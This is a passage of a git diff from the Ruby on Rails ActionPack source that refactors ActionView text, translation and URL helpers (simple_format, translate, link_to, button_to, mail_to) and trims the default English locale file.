-        end_pos   = [ [ found_pos + phrase.mb_chars.length + options[:radius] - 1, 0].max, text.mb_chars.length ].min
+        start_pos = [ found_pos - radius, 0 ].max
+        end_pos   = [ [ found_pos + phrase.length + radius - 1, 0].max, text.length ].min
 
-        prefix  = start_pos > 0 ? options[:omission] : ""
-        postfix = end_pos < text.mb_chars.length - 1 ? options[:omission] : ""
+        prefix  = start_pos > 0 ? omission : ""
+        postfix = end_pos < text.length - 1 ? omission : ""
 
-        prefix + text.mb_chars[start_pos..end_pos].strip + postfix
+        prefix + text[start_pos..end_pos].strip + postfix
       end
 
       # Attempts to pluralize the +singular+ word unless +count+ is 1. If
       # +plural+ is supplied, it will use that when count is > 1, otherwise
-      # it will use the Inflector to determine the plural form
+      # it will use the Inflector to determine the plural form.
       #
-      # ==== Examples
       #   pluralize(1, 'person')
       #   # => 1 person
       #
@@ -190,39 +176,35 @@ module ActionView
       #   pluralize(0, 'person')
       #   # => 0 people
       def pluralize(count, singular, plural = nil)
-        "#{count || 0} " + ((count == 1 || count =~ /^1(\.0+)?$/) ? singular : (plural || singular.pluralize))
+        word = if (count == 1 || count =~ /^1(\.0+)?$/)
+          singular
+        else
+          plural || singular.pluralize
+        end
+
+        "#{count || 0} #{word}"
       end
 
       # Wraps the +text+ into lines no longer than +line_width+ width. This method
       # breaks on the first whitespace character that does not exceed +line_width+
       # (which is 80 by default).
       #
-      # ==== Examples
-      #
       #   word_wrap('Once upon a time')
       #   # => Once upon a time
       #
       #   word_wrap('Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding a successor to the throne turned out to be more trouble than anyone could have imagined...')
-      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\n a successor to the throne turned out to be more trouble than anyone could have\n imagined...
+      #   # => Once upon a time, in a kingdom called Far Far Away, a king fell ill, and finding\na successor to the throne turned out to be more trouble than anyone could have\nimagined...
       #
       #   word_wrap('Once upon a time', :line_width => 8)
-      #   # => Once upon\na time
+      #   # => Once\nupon a\ntime
       #
       #   word_wrap('Once upon a time', :line_width => 1)
       #   # => Once\nupon\na\ntime
-      #
-      # You can still use <tt>word_wrap</tt> with the old API that accepts the
-      # +line_width+ as its optional second parameter:
-      #   word_wrap('Once upon a time', 8)     # => Once upon\na time
-      def word_wrap(text, *args)
-        options = args.extract_options!
-        unless args.blank?
-          options[:line_width] = args[0] || 80
-        end
-        options.reverse_merge!(:line_width => 80)
+      def word_wrap(text, options = {})
+        line_width = options.fetch(:line_width, 80)
 
         text.split("\n").collect do |line|
-          line.length > options[:line_width] ? line.gsub(/(.{1,#{options[:line_width]}})(\s+|$)/, "\\1\n").strip : line
+          line.length > line_width ? line.gsub(/(.{1,#{line_width}})(\s+|$)/, "\\1\n").strip : line
         end * "\n"
       end
 
@@ -237,6 +219,7 @@ module ActionView
       #
       # ==== Options
       # * <tt>:sanitize</tt> - If +false+, does not sanitize +text+.
+      # * <tt>:wrapper_tag</tt> - String representing the wrapper tag, defaults to <tt>"p"</tt>
       #
       # ==== Examples
       #   my_text = "Here is some basic text...\n...with a line break."
@@ -244,6 +227,9 @@ module ActionView
       #   simple_format(my_text)
       #   # => "<p>Here is some basic text...\n<br />...with a line break.</p>"
       #
+      #   simple_format(my_text, {}, :wrapper_tag => "div")
+      #   # => "<div>Here is some basic text...\n<br />...with a line break.</div>"
+      #
       #   more_text = "We want to put a paragraph...\n\n...right there."
       #
       #   simple_format(more_text)
@@ -254,17 +240,19 @@ module ActionView
       #
       #   simple_format("<span>I'm allowed!</span> It's true.", {}, :sanitize => false)
       #   # => "<p><span>I'm allowed!</span> It's true.</p>"
-      def simple_format(text, html_options={}, options={})
-        text = '' if text.nil?
-        text = text.dup
-        start_tag = tag('p', html_options, true)
-        text = sanitize(text) unless options[:sanitize] == false
-        text = text.to_str
-        text.gsub!(/\r\n?/, "\n")                    # \r\n and \r -> \n
-        text.gsub!(/\n\n+/, "</p>\n\n#{start_tag}")  # 2+ newline  -> paragraph
-        text.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') # 1 newline   -> br
-        text.insert 0, start_tag
-        text.html_safe.safe_concat("</p>")
+      def simple_format(text, html_options = {}, options = {})
+        wrapper_tag = options.fetch(:wrapper_tag, :p)
+
+        text = sanitize(text) if options.fetch(:sanitize, true)
+        paragraphs = split_paragraphs(text)
+
+        if paragraphs.empty?
+          content_tag(wrapper_tag, nil, html_options)
+        else
+          paragraphs.map { |paragraph|
+            content_tag(wrapper_tag, paragraph, html_options, options[:sanitize])
+          }.join("\n\n").html_safe
+        end
       end
 
       # Creates a Cycle object whose _to_s_ method cycles through elements of an
@@ -276,7 +264,6 @@ module ActionView
       # and passing the name of the cycle. The current cycle string can be obtained
       # anytime using the current_cycle method.
       #
-      # ==== Examples
       #   # Alternate CSS classes for even and odd numbers...
       #   @items = [1,2,3,4]
       #   <table>
@@ -306,12 +293,9 @@ module ActionView
       #    </tr>
       #  <% end %>
       def cycle(first_value, *values)
-        if (values.last.instance_of? Hash)
-          params = values.pop
-          name = params[:name]
-        else
-          name = "default"
-        end
+        options = values.extract_options!
+        name = options.fetch(:name, 'default')
+
         values.unshift(first_value)
 
         cycle = get_cycle(name)
@@ -325,7 +309,6 @@ module ActionView
       # for complex table highlighting or any other design need which requires
       # the current cycle string in more than one place.
       #
-      # ==== Example
       #   # Alternate background colors
       #   @items = [1,2,3,4]
       #   <% @items.each do |item| %>
@@ -341,7 +324,6 @@ module ActionView
       # Resets a cycle so that it starts from the first element the next time
       # it is called. Pass in +name+ to reset a named cycle.
       #
-      # ==== Example
       #   # Alternate CSS classes for even and odd numbers...
       #   @items = [[1,2,3,4], [5,6,3], [3,4,5,6,7,4]]
       #   <table>
@@ -412,6 +394,14 @@ module ActionView
           @_cycles = Hash.new unless defined?(@_cycles)
           @_cycles[name] = cycle_object
         end
+
+        def split_paragraphs(text)
+          return [] if text.blank?
+
+          text.to_str.gsub(/\r\n?/, "\n").split(/\n\n+/).map! do |t|
+            t.gsub!(/([^\n]\n)(?=[^\n])/, '\1<br />') || t
+          end
+        end
     end
   end
 end
diff --git a/actionpack/lib/action_view/helpers/translation_helper.rb b/actionpack/lib/action_view/helpers/translation_helper.rb
index be64dc823e..552c9ba660 100644
--- a/actionpack/lib/action_view/helpers/translation_helper.rb
+++ b/actionpack/lib/action_view/helpers/translation_helper.rb
@@ -45,16 +45,27 @@ module ActionView
       # you know what kind of output to expect when you call translate in a template.
       def translate(key, options = {})
         options.merge!(:rescue_format => :html) unless options.key?(:rescue_format)
-        translation = I18n.translate(scope_key_by_partial(key), options)
-        if html_safe_translation_key?(key) && translation.respond_to?(:html_safe)
-          translation.html_safe
+        options[:default] = wrap_translate_defaults(options[:default]) if options[:default]
+        if html_safe_translation_key?(key)
+          html_safe_options = options.dup
+          options.except(*I18n::RESERVED_KEYS).each do |name, value|
+            unless name == :count && value.is_a?(Numeric)
+              html_safe_options[name] = ERB::Util.html_escape(value.to_s)
+            end
+          end
+          translation = I18n.translate(scope_key_by_partial(key), html_safe_options)
+
+          translation.respond_to?(:html_safe) ? translation.html_safe : translation
         else
-          translation
+          I18n.translate(scope_key_by_partial(key), options)
         end
       end
       alias :t :translate
 
       # Delegates to <tt>I18n.localize</tt> with no additional functionality.
+      #
+      # See http://rubydoc.info/github/svenfuchs/i18n/master/I18n/Backend/Base:localize
+      # for more information.
       def localize(*args)
         I18n.localize(*args)
       end
@@ -76,6 +87,21 @@ module ActionView
         def html_safe_translation_key?(key)
           key.to_s =~ /(\b|_|\.)html$/
         end
+
+        def wrap_translate_defaults(defaults)
+          new_defaults = []
+          defaults     = Array(defaults)
+          while key = defaults.shift
+            if key.is_a?(Symbol)
+              new_defaults << lambda { |_, options| translate key, options.merge(:default => defaults) }
+              break
+            else
+              new_defaults << key
+            end
+          end
+
+          new_defaults
+        end
     end
   end
 end
diff --git a/actionpack/lib/action_view/helpers/url_helper.rb b/actionpack/lib/action_view/helpers/url_helper.rb
index 0c2e1aa3a9..fe3240fdc1 100644
--- a/actionpack/lib/action_view/helpers/url_helper.rb
+++ b/actionpack/lib/action_view/helpers/url_helper.rb
@@ -23,20 +23,25 @@ module ActionView
       include ActionDispatch::Routing::UrlFor
       include TagHelper
 
-      def _routes_context
-        controller
-      end
+      # We need to override url_options, _routes_context
+      # and optimize_routes_generation? to consider the controller.
 
-      # Need to map default url options to controller one.
-      # def default_url_options(*args) #:nodoc:
-      #   controller.send(:default_url_options, *args)
-      # end
-      #
-      def url_options
+      def url_options #:nodoc:
         return super unless controller.respond_to?(:url_options)
         controller.url_options
       end
 
+      def _routes_context #:nodoc:
+        controller
+      end
+      protected :_routes_context
+
+      def optimize_routes_generation? #:nodoc:
+        controller.respond_to?(:optimize_routes_generation?) ?
+          controller.optimize_routes_generation? : super
+      end
+      protected :optimize_routes_generation?
+
       # Returns the URL for the set of +options+ provided. This takes the
       # same options as +url_for+ in Action Controller (see the
       # documentation for <tt>ActionController::Base#url_for</tt>). Note that by default
@@ -55,11 +60,15 @@ module ActionView
       #
       # ==== Relying on named routes
       #
-      # Passing a record (like an Active Record or Active Resource) instead of a Hash as the options parameter will
+      # Passing a record (like an Active Record) instead of a hash as the options parameter will
       # trigger the named route for that record. The lookup will happen on the name of the class. So passing a
       # Workshop object will attempt to use the +workshop_path+ route. If you have a nested route, such as
       # +admin_workshop_path+ you'll have to call that explicitly (it's impossible for +url_for+ to guess that route).
       #
+      # ==== Implicit Controller Namespacing
+      #
+      # Controllers passed in using the +:controller+ option will retain their namespace unless it is an absolute one.
+      #
       # ==== Examples
       #   <%= url_for(:action => 'index') %>
       #   # => /blog/
@@ -97,13 +106,21 @@ module ActionView
       #   <%= url_for(:back) %>
       #   # if request.env["HTTP_REFERER"] is not set or is blank
       #   # => javascript:history.back()
-      def url_for(options = {})
-        options ||= {}
+      #
+      #   <%= url_for(:action => 'index', :controller => 'users') %>
+      #   # Assuming an "admin" namespace
+      #   # => /admin/users
+      #
+      #   <%= url_for(:action => 'index', :controller => '/users') %>
+      #   # Specify absolute path with beginning slash
+      #   # => /users
+      def url_for(options = nil)
         case options
         when String
           options
-        when Hash
-          options = options.symbolize_keys.reverse_merge!(:only_path => options[:host].nil?)
+        when nil, Hash
+          options ||= {}
+          options = { :only_path => options[:host].nil? }.merge!(options.symbolize_keys)
           super
         when :back
           controller.request.env["HTTP_REFERER"] || 'javascript:history.back()'
@@ -127,8 +144,7 @@ module ActionView
       #     # posts_path
       #
       #   link_to(body, url_options = {}, html_options = {})
-      #     # url_options, except :confirm or :method,
-      #     # is passed to url_for
+      #     # url_options, except :method, is passed to url_for
       #
       #   link_to(options = {}, html_options = {}) do
       #     # name
@@ -139,25 +155,33 @@ module ActionView
       #   end
       #
       # ==== Options
-      # * <tt>:confirm => 'question?'</tt> - This will allow the unobtrusive JavaScript
-      #   driver to prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
       # * <tt>:method => symbol of HTTP verb</tt> - This modifier will dynamically
       #   create an HTML form and immediately submit the form for processing using
       #   the HTTP verb specified. Useful for having links perform a POST operation
       #   in dangerous actions like deleting a record (which search bots can follow
-      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt> and <tt>:put</tt>.
+      #   while spidering your site). Supported verbs are <tt>:post</tt>, <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>.
       #   Note that if the user has JavaScript disabled, the request will fall back
       #   to using GET. If <tt>:href => '#'</tt> is used and the user has JavaScript
       #   disabled clicking the link will have no effect. If you are relying on the
       #   POST behavior, you should check for it in your controller's action by using
-      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt> or <tt>put?</tt>.
+      #   the request object's methods for <tt>post?</tt>, <tt>delete?</tt>, <tt>:patch</tt>, or <tt>put?</tt>.
       # * <tt>:remote => true</tt> - This will allow the unobtrusive JavaScript
       #   driver to make an Ajax request to the URL in question instead of following
       #   the link. The drivers each provide mechanisms for listening for the
       #   completion of the Ajax request and performing JavaScript operations once
       #   they're complete
       #
+      # ==== Data attributes
+      #
+      # * <tt>:confirm => 'question?'</tt> - This will allow the unobtrusive JavaScript
+      #   driver to prompt with the question specified. If the user accepts, the link is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be
+      #   used as the value for a disabled version of the submit
+      #   button when the form is submitted. This feature is provided
+      #   by the unobtrusive JavaScript driver.
+      #
       # ==== Examples
       # Because it relies on +url_for+, +link_to+ supports both older-style controller/action/id arguments
       # and newer RESTful routes. Current Rails style favors RESTful routes whenever possible, so base
@@ -221,32 +245,24 @@ module ActionView
       #   link_to "Nonsense search", searches_path(:foo => "bar", :baz => "quux")
       #   # => <a href="/searches?foo=bar&amp;baz=quux">Nonsense search</a>
       #
-      # The two options specific to +link_to+ (<tt>:confirm</tt> and <tt>:method</tt>) are used as follows:
+      # The only option specific to +link_to+ (<tt>:method</tt>) is used as follows:
       #
-      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", :confirm => "Are you sure?"
-      #   # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?"">Visit Other Site</a>
+      #   link_to("Destroy", "http://www.example.com", :method => :delete)
+      #   # => <a href='http://www.example.com' rel="nofollow" data-method="delete">Destroy</a>
       #
-      #   link_to("Destroy", "http://www.example.com", :method => :delete, :confirm => "Are you sure?")
-      #   # => <a href='http://www.example.com' rel="nofollow" data-method="delete" data-confirm="Are you sure?">Destroy</a>
-      def link_to(*args, &block)
-        if block_given?
-          options      = args.first || {}
-          html_options = args.second
-          link_to(capture(&block), options, html_options)
-        else
-          name         = args[0]
-          options      = args[1] || {}
-          html_options = args[2]
-
-          html_options = convert_options_to_data_attributes(options, html_options)
-          url = url_for(options)
+      # You can also use custom data attributes using the <tt>:data</tt> option:
+      #
+      #   link_to "Visit Other Site", "http://www.rubyonrails.org/", :data => { :confirm => "Are you sure?" }
+      #   # => <a href="http://www.rubyonrails.org/" data-confirm="Are you sure?"">Visit Other Site</a>
+      def link_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options = options, name if block_given?
+        options ||= {}
+        url       = url_for(options)
 
-          href = html_options['href']
-          tag_options = tag_options(html_options)
+        html_options = convert_options_to_data_attributes(options, html_options)
+        html_options['href'] ||= url
 
-          href_attr = "href=\"#{ERB::Util.html_escape(url)}\"" unless href
-          "<a #{href_attr}#{tag_options}>#{ERB::Util.html_escape(name || url)}</a>".html_safe
-        end
+        content_tag(:a, name || url, html_options, &block)
       end
 
       # Generates a form containing a single button that submits to the URL created
@@ -260,10 +276,9 @@ module ActionView
       # to allow styling of the form itself and its children. This can be changed
       # using the <tt>:form_class</tt> modifier within +html_options+. You can control
       # the form submission and input element behavior using +html_options+.
-      # This method accepts the <tt>:method</tt> and <tt>:confirm</tt> modifiers
-      # described in the +link_to+ documentation. If no <tt>:method</tt> modifier
-      # is given, it will default to performing a POST operation. You can also
-      # disable the button by passing <tt>:disabled => true</tt> in +html_options+.
+      # This method accepts the <tt>:method</tt> modifier described in the +link_to+ documentation.
+      # If no <tt>:method</tt> modifier is given, it will default to performing a POST operation.
+      # You can also disable the button by passing <tt>:disabled => true</tt> in +html_options+.
       # If you are using RESTful routes, you can pass the <tt>:method</tt>
       # to change the HTTP verb used to submit the form.
       #
@@ -272,23 +287,41 @@ module ActionView
       #
       # There are a few special +html_options+:
       # * <tt>:method</tt> - Symbol of HTTP verb. Supported verbs are <tt>:post</tt>, <tt>:get</tt>,
-      #   <tt>:delete</tt> and <tt>:put</tt>. By default it will be <tt>:post</tt>.
+      #   <tt>:delete</tt>, <tt>:patch</tt>, and <tt>:put</tt>. By default it will be <tt>:post</tt>.
       # * <tt>:disabled</tt> - If set to true, it will generate a disabled button.
-      # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
-      #   prompt with the question specified. If the user accepts, the link is
-      #   processed normally, otherwise no action is taken.
+      # * <tt>:data</tt> - This option can be used to add custom data attributes.
       # * <tt>:remote</tt> -  If set to true, will allow the Unobtrusive JavaScript drivers to control the
       #   submit behavior. By default this behavior is an ajax submit.
       # * <tt>:form</tt> - This hash will be form attributes
       # * <tt>:form_class</tt> - This controls the class of the form within which the submit button will
       #   be placed
       #
+      # ==== Data attributes
+      #
+      # * <tt>:confirm</tt> - This will use the unobtrusive JavaScript driver to
+      #   prompt with the question specified. If the user accepts, the link is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disable_with</tt> - Value of this parameter will be
+      #   used as the value for a disabled version of the submit
+      #   button when the form is submitted. This feature is provided
+      #   by the unobtrusive JavaScript driver.
+      #
       # ==== Examples
       #   <%= button_to "New", :action => "new" %>
       #   # => "<form method="post" action="/controller/new" class="button_to">
       #   #      <div><input value="New" type="submit" /></div>
       #   #    </form>"
       #
+      #   <%= button_to [:make_happy, @user] do %>
+      #     Make happy <strong><%= @user.name %></strong>
+      #   <% end %>
+      #   # => "<form method="post" action="/users/1/make_happy" class="button_to">
+      #   #      <div>
+      #   #        <button type="submit">
+      #   #          Make happy <strong><%= @user.name %></strong>
+      #   #        </button>
+      #   #      </div>
+      #   #    </form>"
       #
       #   <%= button_to "New", :action => "new", :form_class => "new-thing" %>
       #   # => "<form method="post" action="/controller/new" class="new-thing">
@@ -298,60 +331,68 @@ module ActionView
       #
       #   <%= button_to "Create", :action => "create", :remote => true, :form => { "data-type" => "json" } %>
       #   # => "<form method="post" action="/images/create" class="button_to" data-remote="true" data-type="json">
-      #   #      <div><input value="Create" type="submit" /></div>
+      #   #      <div>
+      #   #        <input value="Create" type="submit" />
+      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
+      #   #      </div>
       #   #    </form>"
       #
-      #      
+      #
       #   <%= button_to "Delete Image", { :action => "delete", :id => @image.id },
-      #             :confirm => "Are you sure?", :method => :delete %>
+      #                                   :method => :delete, :data => { :confirm => "Are you sure?" } %>
       #   # => "<form method="post" action="/images/delete/1" class="button_to">
       #   #      <div>
       #   #        <input type="hidden" name="_method" value="delete" />
-      #   #        <input data-confirm='Are you sure?' value="Delete" type="submit" />
+      #   #        <input data-confirm='Are you sure?' value="Delete Image" type="submit" />
+      #   #        <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
       #   #      </div>
       #   #    </form>"
       #
       #
-      #   <%= button_to('Destroy', 'http://www.example.com', :confirm => 'Are you sure?',
-      #             :method => "delete", :remote => true, :disable_with => 'loading...') %>
+      #   <%= button_to('Destroy', 'http://www.example.com',
+      #             :method => "delete", :remote => true, :data => { :confirm' => 'Are you sure?', :disable_with => 'loading...' }) %>
       #   # => "<form class='button_to' method='post' action='http://www.example.com' data-remote='true'>
       #   #       <div>
       #   #         <input name='_method' value='delete' type='hidden' />
-      #   #         <input value='Destroy' type='submit' disable_with='loading...' data-confirm='Are you sure?' />
+      #   #         <input value='Destroy' type='submit' data-disable-with='loading...' data-confirm='Are you sure?' />
+      #   #         <input name="authenticity_token" type="hidden" value="10f2163b45388899ad4d5ae948988266befcb6c3d1b2451cf657a0c293d605a6"/>
       #   #       </div>
       #   #     </form>"
       #   #
-      def button_to(name, options = {}, html_options = {})
+      def button_to(name = nil, options = nil, html_options = nil, &block)
+        html_options, options = options, name if block_given?
+        options      ||= {}
+        html_options ||= {}
+
         html_options = html_options.stringify_keys
-        convert_boolean_attributes!(html_options, %w( disabled ))
+        convert_boolean_attributes!(html_options, %w(disabled))
 
-        method_tag = ''
-        if (method = html_options.delete('method')) && %w{put delete}.include?(method.to_s)
-          method_tag = tag('input', :type => 'hidden', :name => '_method', :value => method.to_s)
-        end
+        url    = options.is_a?(String) ? options : url_for(options)
+        remote = html_options.delete('remote')
+
+        method     = html_options.delete('method').to_s
+        method_tag = %w{patch put delete}.include?(method) ? method_tag(method) : ''.html_safe
 
-        form_method = method.to_s == 'get' ? 'get' : 'post'
+        form_method  = method == 'get' ? 'get' : 'post'
         form_options = html_options.delete('form') || {}
         form_options[:class] ||= html_options.delete('form_class') || 'button_to'
-        
-        remote = html_options.delete('remote')
-        
-        request_token_tag = ''
-        if form_method == 'post' && protect_against_forgery?
-          request_token_tag = tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)
-        end
+        form_options.merge!(:method => form_method, :action => url)
+        form_options.merge!("data-remote" => "true") if remote
 
-        url = options.is_a?(String) ? options : self.url_for(options)
-        name ||= url
+        request_token_tag = form_method == 'post' ? token_tag : ''
 
         html_options = convert_options_to_data_attributes(options, html_options)
+        html_options['type'] = 'submit'
 
-        html_options.merge!("type" => "submit", "value" => name)
+        button = if block_given?
+          content_tag('button', html_options, &block)
+        else
+          html_options['value'] = name || url
+          tag('input', html_options)
+        end
 
-        form_options.merge!(:method => form_method, :action => url)
-        form_options.merge!("data-remote" => "true") if remote
-        
-        "#{tag(:form, form_options, true)}<div>#{method_tag}#{tag("input", html_options)}#{request_token_tag}</div></form>".html_safe
+        inner_tags = method_tag.safe_concat(button).safe_concat(request_token_tag)
+        content_tag('form', content_tag('div', inner_tags), form_options)
       end
 
 
@@ -476,7 +517,7 @@ module ActionView
       #   string given as the value.
       # * <tt>:subject</tt> - Preset the subject line of the email.
       # * <tt>:body</tt> - Preset the body of the email.
-      # * <tt>:cc</tt> - Carbon Copy addition recipients on the email.
+      # * <tt>:cc</tt> - Carbon Copy additional recipients on the email.
       # * <tt>:bcc</tt> - Blind Carbon Copy additional recipients on the email.
       #
       # ==== Examples
@@ -484,7 +525,7 @@ module ActionView
       #   # => <a href="mailto:me@domain.com">me@domain.com</a>
       #
       #   mail_to "me@domain.com", "My email", :encode => "javascript"
-      #   # => <script type="text/javascript">eval(decodeURIComponent('%64%6f%63...%27%29%3b'))</script>
+      #   # => <script>eval(decodeURIComponent('%64%6f%63...%27%29%3b'))</script>
       #
       #   mail_to "me@domain.com", "My email", :encode => "hex"
       #   # => <a href="mailto:%6d%65@%64%6f%6d%61%69%6e.%63%6f%6d">My email</a>
@@ -503,7 +544,7 @@ module ActionView
 
         extras = %w{ cc bcc body subject }.map { |item|
           option = html_options.delete(item) || next
-          "#{item}=#{Rack::Utils.escape(option).gsub("+", "%20")}"
+          "#{item}=#{Rack::Utils.escape_path(option)}"
         }.compact
         extras = extras.empty? ? '' : '?' + ERB::Util.html_escape(extras.join('&'))
 
@@ -518,7 +559,7 @@ module ActionView
           "document.write('#{html}');".each_byte do |c|
             string << sprintf("%%%x", c)
           end
-          "<script type=\"#{Mime::JS}\">eval(decodeURIComponent('#{string}'))</script>".html_safe
+          "<script>eval(decodeURIComponent('#{string}'))</script>".html_safe
         when "hex"
           email_address_encoded = email_address_obfuscated.unpack('C*').map {|c|
             sprintf("&#%d;", c)
@@ -599,11 +640,7 @@ module ActionView
         # We ignore any extra parameters in the request_uri if the
         # submitted url doesn't have any either. This lets the function
         # work with things like ?order=asc
-        if url_string.index("?")
-          request_uri = request.fullpath
-        else
-          request_uri = request.path
-        end
+        request_uri = url_string.index("?") ? request.fullpath : request.path
 
         if url_string =~ /^\w+:\/\//
           url_string == "#{request.protocol}#{request.host_with_port}#{request_uri}"
@@ -622,9 +659,19 @@ module ActionView
             confirm = html_options.delete('confirm')
             method  = html_options.delete('method')
 
-            html_options["data-disable-with"] = disable_with if disable_with
-            html_options["data-confirm"] = confirm if confirm
-            add_method_to_attributes!(html_options, method)   if method
+            if confirm
+              ActiveSupport::Deprecation.warn ":confirm option is deprecated and will be removed from Rails 4.1. Use ':data => { :confirm => \'Text\' }' instead"
+
+              html_options["data-confirm"] = confirm
+            end
+
+            add_method_to_attributes!(html_options, method) if method
+
+            if disable_with
+              ActiveSupport::Deprecation.warn ":disable_with option is deprecated and will be removed from Rails 4.1. Use ':data => { :disable_with => \'Text\' }' instead"
+
+              html_options["data-disable-with"] = disable_with
+            end
 
             html_options
           else
@@ -633,32 +680,16 @@ module ActionView
         end
 
         def link_to_remote_options?(options)
-          options.is_a?(Hash) && options.key?('remote') && options.delete('remote')
+          options.is_a?(Hash) && options.delete('remote')
         end
 
         def add_method_to_attributes!(html_options, method)
           if method && method.to_s.downcase != "get" && html_options["rel"] !~ /nofollow/
-            html_options["rel"] = "#{html_options["rel"]} nofollow".strip
+            html_options["rel"] = "#{html_options["rel"]} nofollow".lstrip
           end
           html_options["data-method"] = method
         end
 
-        def options_for_javascript(options)
-          if options.empty?
-            '{}'
-          else
-            "{#{options.keys.map { |k| "#{k}:#{options[k]}" }.sort.join(', ')}}"
-          end
-        end
-
-        def array_or_string_for_javascript(option)
-          if option.kind_of?(Array)
-            "['#{option.join('\',\'')}']"
-          elsif !option.nil?
-            "'#{option}'"
-          end
-        end
-
         # Processes the +html_options+ hash, converting the boolean
         # attributes from true/false form into the form required by
         # HTML/XHTML. (An attribute is considered to be boolean if
@@ -686,6 +717,19 @@ module ActionView
           bool_attrs.each { |x| html_options[x] = x if html_options.delete(x) }
           html_options
         end
+
+        def token_tag(token=nil)
+          if token != false && protect_against_forgery?
+            token ||= form_authenticity_token
+            tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => token)
+          else
+            ''
+          end
+        end
+
+        def method_tag(method)
+          tag('input', :type => 'hidden', :name => '_method', :value => method.to_s)
+        end
     end
   end
 end
diff --git a/actionpack/lib/action_view/locale/en.yml b/actionpack/lib/action_view/locale/en.yml
index eb816b9446..8a56f147b8 100644
--- a/actionpack/lib/action_view/locale/en.yml
+++ b/actionpack/lib/action_view/locale/en.yml
@@ -1,101 +1,4 @@
 "en":
-  number:
-    # Used in number_with_delimiter()
-    # These are also the defaults for 'currency', 'percentage', 'precision', and 'human'
-    format:
-      # Sets the separator between the units, for more precision (e.g. 1.0 / 2.0 == 0.5)
-      separator: "."
-      # Delimits thousands (e.g. 1,000,000 is a million) (always in groups of three)
-      delimiter: ","
-      # Number of decimals, behind the separator (the number 1 with a precision of 2 gives: 1.00)
-      precision: 3
-      # If set to true, precision will mean the number of significant digits instead
-      # of the number of decimal digits (1234 with precision 2 becomes 1200, 1.23543 becomes 1.2)
-      significant: false
-      # If set, the zeros after the decimal separator will always be stripped (eg.: 1.200 will be 1.2)
-      strip_insignificant_zeros: false
-
-    # Used in number_to_currency()
-    currency:
-      format:
-        # Where is the currency sign? %u is the currency unit, %n the number (default: $5.00)
-        format: "%u%n"
-        unit: "$"
-        # These five are to override number.format and are optional
-        separator: "."
-        delimiter: ","
-        precision: 2
-        significant: false
-        strip_insignificant_zeros: false
-
-    # Used in number_to_percentage()
-    percentage:
-      format:
-        # These five are to override number.format and are optional
-        # separator:
-        delimiter: ""
-        # precision:
-        # significant: false
-        # strip_insignificant_zeros: false
-
-    # Used in number_to_precision()
-    precision:
-      format:
-        # These five are to override number.format and are optional
-        # separator:
-        delimiter: ""
-        # precision:
-        # significant: false
-        # strip_insignificant_zeros: false
-
-    # Used in number_to_human_size() and number_to_human()
-    human:
-      format:
-        # These five are to override number.format and are optional
-        # separator:
-        delimiter: ""
-        precision: 3
-        significant: true
-        strip_insignificant_zeros: true
-      # Used in number_to_human_size()
-      storage_units:
-        # Storage units output formatting.
-        # %u is the storage unit, %n is the number (default: 2 MB)
-        format: "%n %u"
-        units:
-          byte:
-            one:   "Byte"
-            other: "Bytes"
-          kb: "KB"
-          mb: "MB"
-          gb: "GB"
-          tb: "TB"
-      # Used in number_to_human()
-      decimal_units:
-        format: "%n %u"
-        # Decimal units output formatting
-        # By default we will only quantify some of the exponents
-        # but the commented ones might be defined or overridden
-        # by the user.
-        units:
-          # femto: Quadrillionth
-          # pico: Trillionth
-          # nano: Billionth
-          # micro: Millionth
-          # mili: Thousandth
-          # centi: Hundredth
-          # deci: Tenth
-          unit: ""
-          # ten:
-          #   one: Ten
-          #   other: Tens
-          # hundred: Hundred
-          thousand: Thousand
-          million: Million
-          billion: Billion
-          trillion: Trillion
-          quadrillion: Quadrillion
-
   # Used in distance_of_time_in_words(), distance_of_time_in_words_to_now(), time_ago_in_words()
   datetime:
     distance_in_words:
@@ -146,9 +49,8 @@
       # Default value for :prompt => true in FormOptionsHelper
       prompt: "Please select"
 
-    # Default translation keys for submit FormHelper
+    # Default translation keys for submit and button FormHelper
     submit:
       create: 'Create %{model}'
       update: 'Update %{model}'
       submit: 'Save %{model}'
-
diff --git a/actionpack/lib/action_view/log_subscriber.rb b/actionpack/lib/action_view/log_subscriber.rb
index bf90d012bf..cc3a871576 100644
--- a/actionpack/lib/action_view/log_subscriber.rb
+++ b/actionpack/lib/action_view/log_subscriber.rb
@@ -12,9 +12,8 @@ module ActionView
     alias :render_partial :render_template
     alias :render_collection :render_template
 
-    # TODO: Ideally, ActionView should have its own logger so it does not depend on AC.logger
     def logger
-      ActionController::Base.logger if defined?(ActionController::Base)
+      ActionView::Base.logger
     end
 
   protected
diff --git a/actionpack/lib/action_view/lookup_context.rb b/actionpack/lib/action_view/lookup_context.rb
index fa4bf70f77..f0ea92b018 100644
--- a/actionpack/lib/action_view/lookup_context.rb
+++ b/actionpack/lib/action_view/lookup_context.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/array/wrap'
-require 'active_support/core_ext/object/blank'
 require 'active_support/core_ext/module/remove_method'
 
 module ActionView
@@ -10,7 +8,7 @@ module ActionView
   # generate a key, given to view paths, used in the resolver cache lookup. Since
   # this key is generated just once during the request, it speeds up all cache accesses.
   class LookupContext #:nodoc:
-    attr_accessor :prefixes
+    attr_accessor :prefixes, :rendered_format
 
     mattr_accessor :fallbacks
     @@fallbacks = FallbackFileSystemResolver.instances
@@ -20,16 +18,16 @@ module ActionView
 
     def self.register_detail(name, options = {}, &block)
       self.registered_details << name
